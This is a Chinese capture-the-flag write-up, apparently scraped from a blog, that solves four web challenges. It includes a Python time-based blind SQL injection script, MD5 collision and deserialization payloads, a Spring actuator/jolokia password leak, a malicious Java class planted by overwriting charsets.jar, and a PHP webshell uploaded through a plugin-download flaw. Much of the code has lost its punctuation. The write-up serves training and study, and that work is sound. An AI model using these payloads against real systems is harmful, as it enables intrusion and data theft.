北京营销网站制作,免费ppt模板下载 知乎,揭阳模板建站开发公司,盐城优化办目录 1、blindsql2
2、chocolate
3、隐藏的密码
4、ezcmsss 题目对勇师傅来说已经是开始上难度了所以这周没有AK 分享下自己做出来的题的解题思路 1、blindsql2
原本是在继续构造新的 payload#xff0c;也测到了延时 打算去改上周的脚本#xff0c;结果去跑的时候忘了将…目录 1、blindsql2
2、chocolate
3、隐藏的密码
4、ezcmsss 题目对勇师傅来说已经是开始上难度了所以这周没有AK 分享下自己做出来的题的解题思路 1、blindsql2
原本是在继续构造新的 payload也测到了延时 打算去改上周的脚本结果去跑的时候忘了将上次的最后 payload 注释直接就上周的脚本就跑出来 flag 了week3 应该是打算考布尔盲注week4 是时间盲注所以直接就都打通了。 exp:
# authorMyon
# time20241015
import requests
import string
import time
url http://eci-2ze6n37avcrdqdbhno0a.cloudeci1.ichunqiu.com/
dic string.ascii_lowercase string.digits {}-_
out
for j in range(1, 100):a 1 #设置一个标志位用来判断是否已经猜到了最后一位for k in dic:# payload fstudent_name0or%09if(database()%09like%09%27{outk}%25%27,sleep(1),0)and%271 # 猜数据库名# print(payload)# payload fstudent_name0or%09||if((select%09table_name%09from%09information_schema.tables%09where%09table_schema%09like%09flaglimit%092,1)like{outk}%25,sleep(1),0)and%271# payload fstudent_nameAlice%27||if((select%09column_name%09from%09information_schema.columns%09where%09table_schema%09like%09ctfand%09table_name%09likesecretslimit%091,1)like{outk}%25,sleep(1),0)and%271payload fstudent_nameAlice%27||if((select%09secret_value%09from%09ctf.secrets%09limit%092,1)like%09{outk}%25,sleep(1),0)and%271re requests.get(url, paramspayload)# print(re.status_code)t re.elapsed.total_seconds()# print(f{j}:{time})if t 1.5:print(k)a 0 #如果找到字符则将标志位置0out kprint(out)time.sleep(1)break #跳出内层的for循环继续遍历下一位# if a 1: #在进行下一次循环前先判断当前字符是否找到# break #若没有找到则跳出外层循环表示我们已经到了最后一个字符
print(out)2、chocolate
目录扫描扫到了个 source.php访问看不到内容
随便输一些东西测到了一个提示 访问然后绕过一下
0ldStar.php?num02471 拿到
可可液块 (g): 1337033 // gur arkg yriry vf : pbpbnOhggre_fgne.cuc, try to decode this 牢师傅如此说到
让我们解密这个扔到随波逐流发现是个文件名 继续访问 cocoaButter_star.php
第一个是 md5 强碰撞
cocoaButter_star.php?catM%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2dogM%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 第二个传一个 0e 开头的 md5 加密后也是 0e 开头的即可实现相等科学计数法都是 0
Payload
moew0e215962017 拿到of course you konw// 可可脂 (g): 202409
最后一个是要求 md5 加密后前五位符合要求一开始想到的是 md5 长度拓展攻击发现不是写个脚本爆破符合要求的字符即可
import hashlibknowMd5 8031b # 已知的md5前缀
dict abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ # 字符字典def md5(text):return hashlib.md5(str(text).encode(utf-8)).hexdigest() # 计算md5哈希值# 爆破过程
for i in dict:for j in dict:for k in dict:for l in dict:# 生成四个字符组合x i j k l# 计算md5codeMd5 md5(x)# 如果md5前五个字符等于已知的8031bif codeMd5[:5] knowMd5:print(f符合要求的next_level值{x})break # 找到符合的组合后退出循环比如我们传入 aNQa 拿到 of course you konw// 可可脂 (g): 202409// final.php
最后 final.php 是一个反序列化的利用一开始还想绕过过滤的 chocolate后面发现不需要绕过并且 url 编码后传入不行直接传序列化后的内容。
exp
?php
class chocolate{public $cat???;public $kitty???;public function __construct($u,$p){$this-cat$u;$this-kitty$p;}public function eatit(){return $this-cat$this-kitty;}public function __toString(){return $this-cat;}public function __destruct(){global $darkCocoaPowder;echo $darkCocoaPowder;}
}$u 111;
$p 111;
$c new chocolate($u,$p);
echo serialize($c);?让 $cat$kitty 即可
Post传入
O:9:chocolate:2:{s:3:cat;s:3:111;s:5:kitty;s:3:111;} 拿到黑可可粉 (g): 51540
最后还剩一个糖分经过测试发现页面会有不同回显 确定范围是在 2000-2050 之间
Burpsuite 爆破一下 拿到 flagflag{d20ea743-bbae-4b75-a8e4-098c4ddecd5f} 3、隐藏的密码
目录扫描 /back.html 但是文件上传后访问不到命令执行的是 ls
/actuator/env 接口下发现密码被******代替了 尝试获取星号的内容
Post/actuator/jolokia
{mbean: org.springframework.boot:nameSpringApplication,typeAdmin,operation: getProperty,type: EXEC,arguments: [caef11.passwd]} 拿到密码123456qWertAsdFgZxCvB!#
登录发现界面内容和前面目录扫描出来的 back.html 是一样的… 命令执行模块 fuzz 测试一下存在一些字符的过滤过滤字符如下
!$();[\]{|} 可以看到异或和取反都是可以使用的 尝试命令执行发现不行
文件能传上去但是访问不到 找到了JDK HOME 目录
/usr/local/openjdk-8/jre/lib 确认一下确实可以成功上传文件到这个位置
../../usr/local/openjdk-8/jre/lib/charsets.jar 那么我们直接覆盖 charsets.jar 触发
Accept: text/html;charsetGBK 确实可以利用 重新构造一个 jar 包通过将 class 文件反编译拿到了 java 源码这里主要是替换 IBM33722.class 修改后的源码如下
package sun.nio.cs.ext;import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.util.UUID;public class IBM33722 {static {fun();}public IBM33722(){fun();}private static java.util.HashMapString, String fun(){String flagFilePath /flag;String fileName readFlag(flagFilePath);if (fileName null) {fileName failed;}String random UUID.randomUUID().toString().replace(-, ).substring(1, 9);String tempFilePath /tmp/ fileName _ random .log;createTempFile(tempFilePath);return null;}private static String readFlag(String path) {StringBuilder content new StringBuilder();try (BufferedReader reader new BufferedReader(new FileReader(new File(path)))) {String line;while ((line reader.readLine()) ! null) {content.append(line);}} catch (IOException e) {return null;}return content.toString();}private static void createTempFile(String path) {try (FileWriter writer new FileWriter(new File(path))) {writer.write(path);} catch (IOException e) {e.printStackTrace();}}
}读取根目录下的 flag将内容写到 /tmp 目录下的文件名因为我们只能执行ls命令
编译成 class 文件整体打包成 jar 包上传覆盖 charsets.jar 重启环境上传新的 charsets.jar
覆盖掉后触发方式同上 查看 /tmp 目录 拿到 flagflag{d3350ef4-3b91-40e6-9d6a-2f0c8d33193e} 4、ezcmsss Start.sh里拿到账户密码
admin_namejizhicms1498admin_pass4oP4fB51r5
登录后台admin.php 允许上传 php 文件 后端还做了检测 在前端随便注册一个账号 尝试上传但是没有分栏可选 在后台添加一下 还是不行配置文件也传不了估计这个漏洞已经修了
又看到另一个下载插件路径可控的但是插件管理里面并没有看到可以下载插件的地方 手动构造一下但是似乎出不了网... 那就手动传一个一句话木马的 zip 到它的本地 从本地下载插件
actionstart-downloadfilepathdbrestoredownload_urlhttp://127.0.0.1/static/upload/2024/10/26/202410262358.zip 解压
actionfile-upzipfilepathdbrestoredownload_urlhttp://127.0.0.1/static/upload/2024/10/26/202410262358.zipfilesize0 访问 /A/exts看到我们传的压缩包被解压了得到一句话木马 调用木马 读取 flag 拿到 flagflag{9bb4ad6c-68e7-44ed-badd-4614a81f7df7}